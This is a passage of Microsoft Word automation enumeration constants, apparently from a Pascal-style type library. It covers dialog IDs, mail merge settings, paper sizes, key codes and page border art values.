wdDialogFormatAddrFonts = 103;

wdDialogFormatRetAddrFonts = 221;

wdDialogToolsOptionsFileLocations = 225;

wdDialogToolsCreateDirectory = $341;

wdDialogUpdateTOC = $14B;

wdDialogInsertFormField = $1E3;

wdDialogFormFieldOptions = $161;

wdDialogInsertCaption = $165;

wdDialogInsertAutoCaption = $167;

wdDialogInsertAddCaption = $192;

wdDialogInsertCaptionNumbering = $166;

wdDialogInsertCrossReference = $16F;

wdDialogToolsManageFields = $277;

wdDialogToolsAutoManager = $393;

wdDialogToolsAutoCorrect = $17A;

wdDialogToolsAutoCorrectExceptions = $2FA;

wdDialogConnect = $1A4;

wdDialogToolsOptionsBidi = $405;

wdDialogToolsOptionsView = 204;

wdDialogInsertSubdocument = $247;

wdDialogFileRoutingSlip = $270;

wdDialogFontSubstitution = $245;

wdDialogEditCreatePublisher = $2DC;

wdDialogEditSubscribeTo = $2DD;

wdDialogEditPublishOptions = $2DF;

wdDialogEditSubscribeOptions = $2E0;

wdDialogToolsOptionsTypography = $2E3;

wdDialogToolsOptionsAutoFormatAsYouType = $30A;

wdDialogControlRun = 235;

wdDialogFileVersions = $3B1;

wdDialogToolsAutoSummarize = $36A;

wdDialogFileSaveVersion = $3EF;

wdDialogWindowActivate = 220;

wdDialogToolsMacroRecord = 214;

wdDialogToolsRevisions = 197;

wdDialogEmailOptions = $35F;

wdDialogWebOptions = $382;

wdDialogFitText = $3D7;

wdDialogPhoneticGuide = $3DA;

wdDialogHorizontalInVertical = $488;

wdDialogTwoLinesInOne = $489;

wdDialogFormatEncloseCharacters = $48A;

wdDialogFormatTheme = $357;

wdDialogTCSCTranslator = $484;

Enum WdWordDialogHID;

emptyenum = 0;

Enum WdFieldKind;

wdFieldKindNone = 0;

wdFieldKindHot = 1;

wdFieldKindWarm = 2;

wdFieldKindCold = 3;

Enum WdTextFormFieldType;

wdRegularText = 0;

wdNumberText = 1;

wdDateText = 2;

wdCurrentDateText = 3;

wdCurrentTimeText = 4;

wdCalculationText = 5;

Enum WdChevronConvertRule;

wdNeverConvert = 0;

wdAlwaysConvert = 1;

wdAskToNotConvert = 2;

wdAskToConvert = 3;

Enum WdMailMergeMainDocType;

wdNotAMergeDocument = -1;

wdFormLetters = 0;

wdMailingLabels = 1;

wdEnvelopes = 2;

wdCatalog = 3;

Enum WdMailMergeState;

wdNormalDocument = 0;

wdMainDocumentOnly = 1;

wdMainAndDataSource = 2;

wdMainAndHeader = 3;

wdMainAndSourceAndHeader = 4;

wdDataSource = 5;

Enum WdMailMergeDestination;

wdSendToNewDocument = 0;

wdSendToPrinter = 1;

wdSendToEmail = 2;

wdSendToFax = 3;

Enum WdMailMergeActiveRecord;

wdNoActiveRecord = -1;

wdNextRecord = -2;

wdPreviousRecord = -3;

wdFirstRecord = -4;

wdLastRecord = -5;

Enum WdMailMergeDefaultRecord;

wdDefaultFirstRecord = 1;

wdDefaultLastRecord = -16;

Enum WdMailMergeDataSource;

wdNoMergeInfo = -1;

wdMergeInfoFromWord = 0;

wdMergeInfoFromAccessDDE = 1;

wdMergeInfoFromExcelDDE = 2;

wdMergeInfoFromMSQueryDDE = 3;

wdMergeInfoFromODBC = 4;

Enum WdMailMergeComparison;

wdMergeIfEqual = 0;

wdMergeIfNotEqual = 1;

wdMergeIfLessThan = 2;

wdMergeIfGreaterThan = 3;

wdMergeIfLessThanOrEqual = 4;

wdMergeIfGreaterThanOrEqual = 5;

wdMergeIfIsBlank = 6;

wdMergeIfIsNotBlank = 7;

Enum WdBookmarkSortBy;

wdSortByName = 0;

wdSortByLocation = 1;

Enum WdWindowState;

wdWindowStateNormal = 0;

wdWindowStateMaximize = 1;

wdWindowStateMinimize = 2;

Enum WdPictureLinkType;

wdLinkNone = 0;

wdLinkDataInDoc = 1;

wdLinkDataOnDisk = 2;

Enum WdLinkType;

wdLinkTypeOLE = 0;

wdLinkTypePicture = 1;

wdLinkTypeText = 2;

wdLinkTypeReference = 3;

wdLinkTypeInclude = 4;

wdLinkTypeImport = 5;

wdLinkTypeDDE = 6;

wdLinkTypeDDEAuto = 7;

Enum WdWindowType;

wdWindowDocument = 0;

wdWindowTemplate = 1;

Enum WdViewType;

wdNormalView = 1;

wdOutlineView = 2;

wdPrintView = 3;

wdPrintPreview = 4;

wdMasterView = 5;

wdWebView = 6;

Enum WdSeekView;

wdSeekMainDocument = 0;

wdSeekPrimaryHeader = 1;

wdSeekFirstPageHeader = 2;

wdSeekEvenPagesHeader = 3;

wdSeekPrimaryFooter = 4;

wdSeekFirstPageFooter = 5;

wdSeekEvenPagesFooter = 6;

wdSeekFootnotes = 7;

wdSeekEndnotes = 8;

wdSeekCurrentPageHeader = 9;

wdSeekCurrentPageFooter = 10;

Enum WdSpecialPane;

wdPaneNone = 0;

wdPanePrimaryHeader = 1;

wdPaneFirstPageHeader = 2;

wdPaneEvenPagesHeader = 3;

wdPanePrimaryFooter = 4;

wdPaneFirstPageFooter = 5;

wdPaneEvenPagesFooter = 6;

wdPaneFootnotes = 7;

wdPaneEndnotes = 8;

wdPaneFootnoteContinuationNotice = 9;

wdPaneFootnoteContinuationSeparator = 10;

wdPaneFootnoteSeparator = 11;

wdPaneEndnoteContinuationNotice = 12;

wdPaneEndnoteContinuationSeparator = 13;

wdPaneEndnoteSeparator = 14;

wdPaneComments = 15;

wdPaneCurrentPageHeader = 16;

wdPaneCurrentPageFooter = 17;

Enum WdPageFit;

wdPageFitNone = 0;

wdPageFitFullPage = 1;

wdPageFitBestFit = 2;

wdPageFitTextFit = 3;

Enum WdBrowseTarget;

wdBrowsePage = 1;

wdBrowseSection = 2;

wdBrowseComment = 3;

wdBrowseFootnote = 4;

wdBrowseEndnote = 5;

wdBrowseField = 6;

wdBrowseTable = 7;

wdBrowseGraphic = 8;

wdBrowseHeading = 9;

wdBrowseEdit = 10;

wdBrowseFind = 11;

wdBrowseGoTo = 12;

Enum WdPaperTray;

wdPrinterDefaultBin = 0;

wdPrinterUpperBin = 1;

wdPrinterOnlyBin = 1;

wdPrinterLowerBin = 2;

wdPrinterMiddleBin = 3;

wdPrinterManualFeed = 4;

wdPrinterEnvelopeFeed = 5;

wdPrinterManualEnvelopeFeed = 6;

wdPrinterAutomaticSheetFeed = 7;

wdPrinterTractorFeed = 8;

wdPrinterSmallFormatBin = 9;

wdPrinterLargeFormatBin = 10;

wdPrinterLargeCapacityBin = 11;

wdPrinterPaperCassette = 14;

wdPrinterFormSource = 15;

Enum WdOrientation;

wdOrientPortrait = 0;

wdOrientLandscape = 1;

Enum WdSelectionType;

wdNoSelection = 0;

wdSelectionIP = 1;

wdSelectionNormal = 2;

wdSelectionFrame = 3;

wdSelectionColumn = 4;

wdSelectionRow = 5;

wdSelectionBlock = 6;

wdSelectionInlineShape = 7;

wdSelectionShape = 8;

Enum WdCaptionLabelID;

wdCaptionFigure = -1;

wdCaptionTable = -2;

wdCaptionEquation = -3;

Enum WdReferenceType;

wdRefTypeNumberedItem = 0;

wdRefTypeHeading = 1;

wdRefTypeBookmark = 2;

wdRefTypeFootnote = 3;

wdRefTypeEndnote = 4;

Enum WdReferenceKind;

wdContentText = -1;

wdNumberRelativeContext = -2;

wdNumberNoContext = -3;

wdNumberFullContext = -4;

wdEntireCaption = 2;

wdOnlyLabelAndNumber = 3;

wdOnlyCaptionText = 4;

wdFootnoteNumber = 5;

wdEndnoteNumber = 6;

wdPageNumber = 7;

wdPosition = 15;

wdFootnoteNumberFormatted = 16;

wdEndnoteNumberFormatted = 17;

Enum WdIndexFormat;

wdIndexTemplate = 0;

wdIndexClassic = 1;

wdIndexFancy = 2;

wdIndexModern = 3;

wdIndexBulleted = 4;

wdIndexFormal = 5;

wdIndexSimple = 6;

Enum WdIndexType;

wdIndexIndent = 0;

wdIndexRunin = 1;

Enum WdRevisionsWrap;

wdWrapNever = 0;

wdWrapAlways = 1;

wdWrapAsk = 2;

Enum WdRevisionType;

wdNoRevision = 0;

wdRevisionInsert = 1;

wdRevisionDelete = 2;

wdRevisionProperty = 3;

wdRevisionParagraphNumber = 4;

wdRevisionDisplayField = 5;

wdRevisionReconcile = 6;

wdRevisionConflict = 7;

wdRevisionStyle = 8;

wdRevisionReplace = 9;

Enum WdRoutingSlipDelivery;

wdOneAfterAnother = 0;

wdAllAtOnce = 1;

Enum WdRoutingSlipStatus;

wdNotYetRouted = 0;

wdRouteInProgress = 1;

wdRouteComplete = 2;

Enum WdSectionStart;

wdSectionContinuous = 0;

wdSectionNewColumn = 1;

wdSectionNewPage = 2;

wdSectionEvenPage = 3;

wdSectionOddPage = 4;

Enum WdSaveOptions;

wdDoNotSaveChanges = 0;

wdSaveChanges = -1;

wdPromptToSaveChanges = -2;

Enum WdDocumentKind;

wdDocumentNotSpecified = 0;

wdDocumentLetter = 1;

wdDocumentEmail = 2;

Enum WdDocumentType;

wdTypeDocument = 0;

wdTypeTemplate = 1;

wdTypeFrameset = 2;

Enum WdOriginalFormat;

wdWordDocument = 0;

wdOriginalDocumentFormat = 1;

wdPromptUser = 2;

Enum WdRelocate;

wdRelocateUp = 0;

wdRelocateDown = 1;

Enum WdInsertedTextMark;

wdInsertedTextMarkNone = 0;

wdInsertedTextMarkBold = 1;

wdInsertedTextMarkItalic = 2;

wdInsertedTextMarkUnderline = 3;

wdInsertedTextMarkDoubleUnderline = 4;

Enum WdRevisedLinesMark;

wdRevisedLinesMarkNone = 0;

wdRevisedLinesMarkLeftBorder = 1;

wdRevisedLinesMarkRightBorder = 2;

wdRevisedLinesMarkOutsideBorder = 3;

Enum WdDeletedTextMark;

wdDeletedTextMarkHidden = 0;

wdDeletedTextMarkStrikeThrough = 1;

wdDeletedTextMarkCaret = 2;

wdDeletedTextMarkPound = 3;

Enum WdRevisedPropertiesMark;

wdRevisedPropertiesMarkNone = 0;

wdRevisedPropertiesMarkBold = 1;

wdRevisedPropertiesMarkItalic = 2;

wdRevisedPropertiesMarkUnderline = 3;

wdRevisedPropertiesMarkDoubleUnderline = 4;

Enum WdFieldShading;

wdFieldShadingNever = 0;

wdFieldShadingAlways = 1;

wdFieldShadingWhenSelected = 2;

Enum WdDefaultFilePath;

wdDocumentsPath = 0;

wdPicturesPath = 1;

wdUserTemplatesPath = 2;

wdWorkgroupTemplatesPath = 3;

wdUserOptionsPath = 4;

wdAutoRecoverPath = 5;

wdToolsPath = 6;

wdTutorialPath = 7;

wdStartupPath = 8;

wdProgramPath = 9;

wdGraphicsFiltersPath = 10;

wdTextConvertersPath = 11;

wdProofingToolsPath = 12;

wdTempFilePath = 13;

wdCurrentFolderPath = 14;

wdStyleGalleryPath = 15;

wdBorderArtPath = 19;

Enum WdCompatibility;

wdNoTabHangIndent = 1;

wdNoSpaceRaiseLower = 2;

wdPrintColBlack = 3;

wdWrapTrailSpaces = 4;

wdNoColumnBalance = 5;

wdConvMailMergeEsc = 6;

wdSuppressSpBfAfterPgBrk = 7;

wdSuppressTopSpacing = 8;

wdOrigWordTableRules = 9;

wdTransparentMetafiles = 10;

wdShowBreaksInFrames = 11;

wdSwapBordersFacingPages = 12;

wdLeaveBackslashAlone = 13;

wdExpandShiftReturn = 14;

wdDontULTrailSpace = 15;

wdDontBalanceSingleByteDoubleByteWidth = 16;

wdSuppressTopSpacingMac5 = 17;

wdSpacingInWholePoints = 18;

wdPrintBodyTextBeforeHeader = 19;

wdNoLeading = 20;

wdNoSpaceForUL = 21;

wdMWSmallCaps = 22;

wdNoExtraLineSpacing = 23;

wdTruncateFontHeight = 24;

wdSubFontBySize = 25;

wdUsePrinterMetrics = 26;

wdWW6BorderRules = 27;

wdExactOnTop = 28;

wdSuppressBottomSpacing = 29;

wdWPSpaceWidth = 30;

wdWPJustification = 31;

wdLineWrapLikeWord6 = 32;

wdShapeLayoutLikeWW8 = 33;

wdFootnoteLayoutLikeWW8 = 34;

wdDontUseHTMLParagraphAutoSpacing = 35;

wdDontAdjustLineHeightInTable = 36;

wdForgetLastTabAlignment = 37;

wdAutospaceLikeWW7 = 38;

wdAlignTablesRowByRow = 39;

wdLayoutRawTableWidth = 40;

wdLayoutTableRowsApart = 41;

wdUseWord97LineBreakingRules = 42;

Enum WdPaperSize;

wdPaper10x14 = 0;

wdPaper11x17 = 1;

wdPaperLetter = 2;

wdPaperLetterSmall = 3;

wdPaperLegal = 4;

wdPaperExecutive = 5;

wdPaperA3 = 6;

wdPaperA4 = 7;

wdPaperA4Small = 8;

wdPaperA5 = 9;

wdPaperB4 = 10;

wdPaperB5 = 11;

wdPaperCSheet = 12;

wdPaperDSheet = 13;

wdPaperESheet = 14;

wdPaperFanfoldLegalGerman = 15;

wdPaperFanfoldStdGerman = 16;

wdPaperFanfoldUS = 17;

wdPaperFolio = 18;

wdPaperLedger = 19;

wdPaperNote = 20;

wdPaperQuarto = 21;

wdPaperStatement = 22;

wdPaperTabloid = 23;

wdPaperEnvelope9 = 24;

wdPaperEnvelope10 = 25;

wdPaperEnvelope11 = 26;

wdPaperEnvelope12 = 27;

wdPaperEnvelope14 = 28;

wdPaperEnvelopeB4 = 29;

wdPaperEnvelopeB5 = 30;

wdPaperEnvelopeB6 = 31;

wdPaperEnvelopeC3 = 32;

wdPaperEnvelopeC4 = 33;

wdPaperEnvelopeC5 = 34;

wdPaperEnvelopeC6 = 35;

wdPaperEnvelopeC65 = 36;

wdPaperEnvelopeDL = 37;

wdPaperEnvelopeItaly = 38;

wdPaperEnvelopeMonarch = 39;

wdPaperEnvelopePersonal = 40;

wdPaperCustom = 41;

Enum WdCustomLabelPageSize;

wdCustomLabelLetter = 0;

wdCustomLabelLetterLS = 1;

wdCustomLabelA4 = 2;

wdCustomLabelA4LS = 3;

wdCustomLabelA5 = 4;

wdCustomLabelA5LS = 5;

wdCustomLabelB5 = 6;

wdCustomLabelMini = 7;

wdCustomLabelFanfold = 8;

wdCustomLabelVertHalfSheet = 9;

wdCustomLabelVertHalfSheetLS = 10;

wdCustomLabelHigaki = 11;

wdCustomLabelHigakiLS = 12;

wdCustomLabelB4JIS = 13;

Enum WdProtectionType;

wdNoProtection = -1;

wdAllowOnlyRevisions = 0;

wdAllowOnlyComments = 1;

wdAllowOnlyFormFields = 2;

Enum WdPartOfSpeech;

wdAdjective = 0;

wdNoun = 1;

wdAdverb = 2;

wdVerb = 3;

wdPronoun = 4;

wdConjunction = 5;

wdPreposition = 6;

wdInterjection = 7;

wdIdiom = 8;

wdOther = 9;

Enum WdSubscriberFormats;

wdSubscriberBestFormat = 0;

wdSubscriberRTF = 1;

wdSubscriberText = 2;

wdSubscriberPict = 4;

Enum WdEditionType;

wdPublisher = 0;

wdSubscriber = 1;

Enum WdEditionOption;

wdCancelPublisher = 0;

wdSendPublisher = 1;

wdSelectPublisher = 2;

wdAutomaticUpdate = 3;

wdManualUpdate = 4;

wdChangeAttributes = 5;

wdUpdateSubscriber = 6;

wdOpenSource = 7;

Enum WdRelativeHorizontalPosition;

wdRelativeHorizontalPositionMargin = 0;

wdRelativeHorizontalPositionPage = 1;

wdRelativeHorizontalPositionColumn = 2;

wdRelativeHorizontalPositionCharacter = 3;

Enum WdRelativeVerticalPosition;

wdRelativeVerticalPositionMargin = 0;

wdRelativeVerticalPositionPage = 1;

wdRelativeVerticalPositionParagraph = 2;

wdRelativeVerticalPositionLine = 3;

Enum WdHelpType;

wdHelp = 0;

wdHelpAbout = 1;

wdHelpActiveWindow = 2;

wdHelpContents = 3;

wdHelpExamplesAndDemos = 4;

wdHelpIndex = 5;

wdHelpKeyboard = 6;

wdHelpPSSHelp = 7;

wdHelpQuickPreview = 8;

wdHelpSearch = 9;

wdHelpUsingHelp = 10;

wdHelpIchitaro = 11;

wdHelpPE2 = 12;

wdHelpHWP = 13;

Enum WdHelpTypeHID;

emptyenum = 0;

Enum WdKeyCategory;

wdKeyCategoryNil = -1;

wdKeyCategoryDisable = 0;

wdKeyCategoryCommand = 1;

wdKeyCategoryMacro = 2;

wdKeyCategoryFont = 3;

wdKeyCategoryAutoText = 4;

wdKeyCategoryStyle = 5;

wdKeyCategorySymbol = 6;

wdKeyCategoryPrefix = 7;

Enum WdKey;

wdNoKey = 255;

wdKeyShift = $100;

wdKeyControl = $200;

wdKeyCommand = $200;

wdKeyAlt = $400;

wdKeyOption = $400;

wdKeyA = 65;

wdKeyB = 66;

wdKeyC = 67;

wdKeyD = 68;

wdKeyE = 69;

wdKeyF = 70;

wdKeyG = 71;

wdKeyH = 72;

wdKeyI = 73;

wdKeyJ = 74;

wdKeyK = 75;

wdKeyL = 76;

wdKeyM = 77;

wdKeyN = 78;

wdKeyO = 79;

wdKeyP = 80;

wdKeyQ = 81;

wdKeyR = 82;

wdKeyS = 83;

wdKeyT = 84;

wdKeyU = 85;

wdKeyV = 86;

wdKeyW = 87;

wdKeyX = 88;

wdKeyY = 89;

wdKeyZ = 90;

wdKey0 = 48;

wdKey1 = 49;

wdKey2 = 50;

wdKey3 = 51;

wdKey4 = 52;

wdKey5 = 53;

wdKey6 = 54;

wdKey7 = 55;

wdKey8 = 56;

wdKey9 = 57;

wdKeyBackspace = 8;

wdKeyTab = 9;

wdKeyNumeric5Special = 12;

wdKeyReturn = 13;

wdKeyPause = 19;

wdKeyEsc = 27;

wdKeySpacebar = 32;

wdKeyPageUp = 33;

wdKeyPageDown = 34;

wdKeyEnd = 35;

wdKeyHome = 36;

wdKeyInsert = 45;

wdKeyDelete = 46;

wdKeyNumeric0 = 96;

wdKeyNumeric1 = 97;

wdKeyNumeric2 = 98;

wdKeyNumeric3 = 99;

wdKeyNumeric4 = 100;

wdKeyNumeric5 = 101;

wdKeyNumeric6 = 102;

wdKeyNumeric7 = 103;

wdKeyNumeric8 = 104;

wdKeyNumeric9 = 105;

wdKeyNumericMultiply = 106;

wdKeyNumericAdd = 107;

wdKeyNumericSubtract = 109;

wdKeyNumericDecimal = 110;

wdKeyNumericDivide = 111;

wdKeyF1 = 112;

wdKeyF2 = 113;

wdKeyF3 = 114;

wdKeyF4 = 115;

wdKeyF5 = 116;

wdKeyF6 = 117;

wdKeyF7 = 118;

wdKeyF8 = 119;

wdKeyF9 = 120;

wdKeyF10 = 121;

wdKeyF11 = 122;

wdKeyF12 = 123;

wdKeyF13 = 124;

wdKeyF14 = 125;

wdKeyF15 = 126;

wdKeyF16 = 127;

wdKeyScrollLock = 145;

wdKeySemiColon = 186;

wdKeyEquals = 187;

wdKeyComma = 188;

wdKeyHyphen = 189;

wdKeyPeriod = 190;

wdKeySlash = 191;

wdKeyBackSingleQuote = 192;

wdKeyOpenSquareBrace = 219;

wdKeyBackSlash = 220;

wdKeyCloseSquareBrace = 221;

wdKeySingleQuote = 222;

Enum WdOLEType;

wdOLELink = 0;

wdOLEEmbed = 1;

wdOLEControl = 2;

Enum WdOLEVerb;

wdOLEVerbPrimary = 0;

wdOLEVerbShow = -1;

wdOLEVerbOpen = -2;

wdOLEVerbHide = -3;

wdOLEVerbUIActivate = -4;

wdOLEVerbInPlaceActivate = -5;

wdOLEVerbDiscardUndoState = -6;

Enum WdOLEPlacement;

wdInLine = 0;

wdFloatOverText = 1;

Enum WdEnvelopeOrientation;

wdLeftPortrait = 0;

wdCenterPortrait = 1;

wdRightPortrait = 2;

wdLeftLandscape = 3;

wdCenterLandscape = 4;

wdRightLandscape = 5;

wdLeftClockwise = 6;

wdCenterClockwise = 7;

wdRightClockwise = 8;

Enum WdLetterStyle;

wdFullBlock = 0;

wdModifiedBlock = 1;

wdSemiBlock = 2;

Enum WdLetterheadLocation;

wdLetterTop = 0;

wdLetterBottom = 1;

wdLetterLeft = 2;

wdLetterRight = 3;

Enum WdSalutationType;

wdSalutationInformal = 0;

wdSalutationFormal = 1;

wdSalutationBusiness = 2;

wdSalutationOther = 3;

Enum WdSalutationGender;

wdGenderFemale = 0;

wdGenderMale = 1;

wdGenderNeutral = 2;

wdGenderUnknown = 3;

Enum WdMovementType;

wdMove = 0;

wdExtend = 1;

Enum WdConstants;

wdUndefined = $98967F;

wdToggle = $98967E;

wdForward = $3FFFFFFF;

wdBackward = $C0000001;

wdAutoPosition = 0;

wdFirst = 1;

wdCreatorCode = $4D535744;

Enum WdPasteDataType;

wdPasteOLEObject = 0;

wdPasteRTF = 1;

wdPasteText = 2;

wdPasteMetafilePicture = 3;

wdPasteBitmap = 4;

wdPasteDeviceIndependentBitmap = 5;

wdPasteHyperlink = 7;

wdPasteShape = 8;

wdPasteEnhancedMetafile = 9;

wdPasteHTML = 10;

Enum WdPrintOutItem;

wdPrintDocumentContent = 0;

wdPrintProperties = 1;

wdPrintComments = 2;

wdPrintStyles = 3;

wdPrintAutoTextEntries = 4;

wdPrintKeyAssignments = 5;

wdPrintEnvelope = 6;

Enum WdPrintOutPages;

wdPrintAllPages = 0;

wdPrintOddPagesOnly = 1;

wdPrintEvenPagesOnly = 2;

Enum WdPrintOutRange;

wdPrintAllDocument = 0;

wdPrintSelection = 1;

wdPrintCurrentPage = 2;

wdPrintFromTo = 3;

wdPrintRangeOfPages = 4;

Enum WdDictionaryType;

wdSpelling = 0;

wdGrammar = 1;

wdThesaurus = 2;

wdHyphenation = 3;

wdSpellingComplete = 4;

wdSpellingCustom = 5;

wdSpellingLegal = 6;

wdSpellingMedical = 7;

wdHangulHanjaConversion = 8;

wdHangulHanjaConversionCustom = 9;

Enum WdDictionaryTypeHID;

emptyenum = 0;

Enum WdSpellingWordType;

wdSpellword = 0;

wdWildcard = 1;

wdAnagram = 2;

Enum WdSpellingErrorType;

wdSpellingCorrect = 0;

wdSpellingNotInDictionary = 1;

wdSpellingCapitalization = 2;

Enum WdProofreadingErrorType;

wdSpellingError = 0;

wdGrammaticalError = 1;

Enum WdInlineShapeType;

wdInlineShapeEmbeddedOLEObject = 1;

wdInlineShapeLinkedOLEObject = 2;

wdInlineShapePicture = 3;

wdInlineShapeLinkedPicture = 4;

wdInlineShapeOLEControlObject = 5;

wdInlineShapeHorizontalLine = 6;

wdInlineShapePictureHorizontalLine = 7;

wdInlineShapeLinkedPictureHorizontalLine = 8;

wdInlineShapePictureBullet = 9;

wdInlineShapeScriptAnchor = 10;

wdInlineShapeOWSAnchor = 11;

Enum WdArrangeStyle;

wdTiled = 0;

wdIcons = 1;

Enum WdSelectionFlags;

wdSelStartActive = 1;

wdSelAtEOL = 2;

wdSelOvertype = 4;

wdSelActive = 8;

wdSelReplace = 16;

Enum WdAutoVersions;

wdAutoVersionOff = 0;

wdAutoVersionOnClose = 1;

Enum WdOrganizerObject;

wdOrganizerObjectStyles = 0;

wdOrganizerObjectAutoText = 1;

wdOrganizerObjectCommandBars = 2;

wdOrganizerObjectProjectItems = 3;

Enum WdFindMatch;

wdMatchParagraphMark = $1000F;

wdMatchTabCharacter = 9;

wdMatchCommentMark = 5;

wdMatchAnyCharacter = $1003F;

wdMatchAnyDigit = $1001F;

wdMatchAnyLetter = $1002F;

wdMatchCaretCharacter = 11;

wdMatchColumnBreak = 14;

wdMatchEmDash = $2014;

wdMatchEnDash = $2013;

wdMatchEndnoteMark = $10013;

wdMatchField = 19;

wdMatchFootnoteMark = $10012;

wdMatchGraphic = 1;

wdMatchManualLineBreak = $1000F;

wdMatchManualPageBreak = $1001C;

wdMatchNonbreakingHyphen = 30;

wdMatchNonbreakingSpace = 160;

wdMatchOptionalHyphen = 31;

wdMatchSectionBreak = $1002C;

wdMatchWhiteSpace = $10077;

Enum WdFindWrap;

wdFindStop = 0;

wdFindContinue = 1;

wdFindAsk = 2;

Enum WdInformation;

wdActiveEndAdjustedPageNumber = 1;

wdActiveEndSectionNumber = 2;

wdActiveEndPageNumber = 3;

wdNumberOfPagesInDocument = 4;

wdHorizontalPositionRelativeToPage = 5;

wdVerticalPositionRelativeToPage = 6;

wdHorizontalPositionRelativeToTextBoundary = 7;

wdVerticalPositionRelativeToTextBoundary = 8;

wdFirstCharacterColumnNumber = 9;

wdFirstCharacterLineNumber = 10;

wdFrameIsSelected = 11;

wdWithInTable = 12;

wdStartOfRangeRowNumber = 13;

wdEndOfRangeRowNumber = 14;

wdMaximumNumberOfRows = 15;

wdStartOfRangeColumnNumber = 16;

wdEndOfRangeColumnNumber = 17;

wdMaximumNumberOfColumns = 18;

wdZoomPercentage = 19;

wdSelectionMode = 20;

wdCapsLock = 21;

wdNumLock = 22;

wdOverType = 23;

wdRevisionMarking = 24;

wdInFootnoteEndnotePane = 25;

wdInCommentPane = 26;

wdInHeaderFooter = 28;

wdAtEndOfRowMarker = 31;

wdReferenceOfType = 32;

wdHeaderFooterType = 33;

wdInMasterDocument = 34;

wdInFootnote = 35;

wdInEndnote = 36;

wdInWordMail = 37;

wdInClipboard = 38;

Enum WdWrapType;

wdWrapSquare = 0;

wdWrapTight = 1;

wdWrapThrough = 2;

wdWrapNone = 3;

wdWrapTopBottom = 4;

Enum WdWrapSideType;

wdWrapBoth = 0;

wdWrapLeft = 1;

wdWrapRight = 2;

wdWrapLargest = 3;

Enum WdOutlineLevel;

wdOutlineLevel1 = 1;

wdOutlineLevel2 = 2;

wdOutlineLevel3 = 3;

wdOutlineLevel4 = 4;

wdOutlineLevel5 = 5;

wdOutlineLevel6 = 6;

wdOutlineLevel7 = 7;

wdOutlineLevel8 = 8;

wdOutlineLevel9 = 9;

wdOutlineLevelBodyText = 10;

Enum WdTextOrientation;

wdTextOrientationHorizontal = 0;

wdTextOrientationUpward = 2;

wdTextOrientationDownward = 3;

wdTextOrientationVerticalFarEast = 1;

wdTextOrientationHorizontalRotatedFarEast = 4;

Enum WdTextOrientationHID;

emptyenum = 0;

Enum WdPageBorderArt;

wdArtApples = 1;

wdArtMapleMuffins = 2;

wdArtCakeSlice = 3;

wdArtCandyCorn = 4;

wdArtIceCreamCones = 5;

wdArtChampagneBottle = 6;

wdArtPartyGlass = 7;

wdArtChristmasTree = 8;

wdArtTrees = 9;

wdArtPalmsColor = 10;

wdArtBalloons3Colors = 11;

wdArtBalloonsHotAir = 12;

wdArtPartyFavor = 13;

wdArtConfettiStreamers = 14;

wdArtHearts = 15;

wdArtHeartBalloon = 16;

wdArtStars3D = 17;

wdArtStarsShadowed = 18;

wdArtStars = 19;

wdArtSun = 20;

wdArtEarth2 = 21;

wdArtEarth1 = 22;

wdArtPeopleHats = 23;

wdArtSombrero = 24;

wdArtPencils = 25;

wdArtPackages = 26;

wdArtClocks = 27;

wdArtFirecrackers = 28;

wdArtRings = 29;

wdArtMapPins = 30;

wdArtConfetti = 31;

wdArtCreaturesButterfly = 32;

wdArtCreaturesLadyBug = 33;

wdArtCreaturesFish = 34;

wdArtBirdsFlight = 35;

wdArtScaredCat = 36;

wdArtBats = 37;

wdArtFlowersRoses = 38;

wdArtFlowersRedRose = 39;

wdArtPoinsettias = 40;

wdArtHolly = 41;

wdArtFlowersTiny = 42;

wdArtFlowersPansy = 43;

wdArtFlowersModern2 = 44;

wdArtFlowersModern1 = 45;

wdArtWhiteFlowers = 46;

wdArtVine = 47;

wdArtFlowersDaisies = 48;

wdArtFlowersBlockPrint = 49;

wdArtDecoArchColor = 50;

wdArtFans = 51;

wdArtFilm = 52;

wdArtLightning1 = 53;

wdArtCompass = 54;

wdArtDoubleD = 55;

wdArtClassicalWave = 56;

wdArtShadowedSquares = 57;

wdArtTwistedLines1 = 58;

wdArtWaveline = 59;

wdArtQuadrants = 60;

wdArtCheckedBarColor = 61;

wdArtSwirligig = 62;

wdArtPushPinNote1 = 63;

wdArtPushPinNote2 = 64;

wdArtPumpkin1 = 65;

wdArtEggsBlack = 66;

wdArtCup = 67;

wdArtHeartGray = 68;

wdArtGingerbreadMan = 69;

wdArtBabyPacifier = 70;

wdArtBabyRattle = 71;

wdArtCabins = 72;

wdArtHouseFunky = 73;

wdArtStarsBlack = 74;

wdArtSnowflakes = 75;

wdArtSnowflakeFancy = 76;

wdArtSkyrocket = 77;

wdArtSeattle = 78;

wdArtMusicNotes = 79;

wdArtPalmsBlack = 80;

wdArtMapleLeaf = 81;

wdArtPaperClips = 82;

wdArtShorebirdTracks = 83;

wdArtPeople = 84;

wdArtPeopleWaving = 85;

wdArtEclipsingSquares2 = 86;

wdArtHypnotic = 87;

wdArtDiamondsGray = 88;

wdArtDecoArch = 89;

wdArtDecoBlocks = 90;

wdArtCirclesLines = 91;

wdArtPapyrus = 92;

wdArtWoodwork = 93;

wdArtWeavingBraid = 94;

wdArtWeavingRibbon = 95;

wdArtWeavingAngles = 96;

wdArtArchedScallops = 97;

wdArtSafari = 98;

wdArtCelticKnotwork = 99;

wdArtCrazyMaze = 100;

wdArtEclipsingSquares1 = 101;

wdArtBirds = 102;

wdArtFlowersTeacup = 103;

wdArtNorthwest = 104;

wdArtSouthwest = 105;

wdArtTribal6 = 106;

wdArtTribal4 = 107;

wdArtTribal3 = 108;

wdArtTribal2 = 109;

wdArtTribal5 = 110;

wdArtXIllusions = 111;

wdArtZanyTriangles = 112;

wdArtPyramids = 113;

wdArtPyramidsAbove = 114;

wdArtConfettiGrays = 115;

wdArtConfettiOutline = 116;

wdArtConfettiWhite = 117;

wdArtMosaic = 118;

wdArtLightning2 = 119;

wdArtHeebieJeebies = 120;

wdArtLightBulb = 121;

wdArtGradient = 122;

wdArtTriangleParty = 123;

wdArtTwistedLines2 = 124;

wdArtMoons = 125;

wdArtOvals = 126;

wdArtDoubleDiamonds = 127;

wdArtChainLink = 128;

wdArtTriangles = 129;

wdArtTribal1 = 130;

wdArtMarqueeToothed = 131;

wdArtSharksTeeth = 132;

wdArtSawtooth = 133;

wdArtSawtoothGray = 134;

wdArtPostageStamp = 135;

wdArtWeavingStrips = 136;

wdArtZigZag = 137;

wdArtCrossStitch = 138;

wdArtGems = 139;

wdArtCirclesRectangles = 140;

wdArtCornerTriangles = 141;

wdArtCreaturesInsects = 142;

wdArtZigZagStitch = 143;

wdArtCheckered = 144;

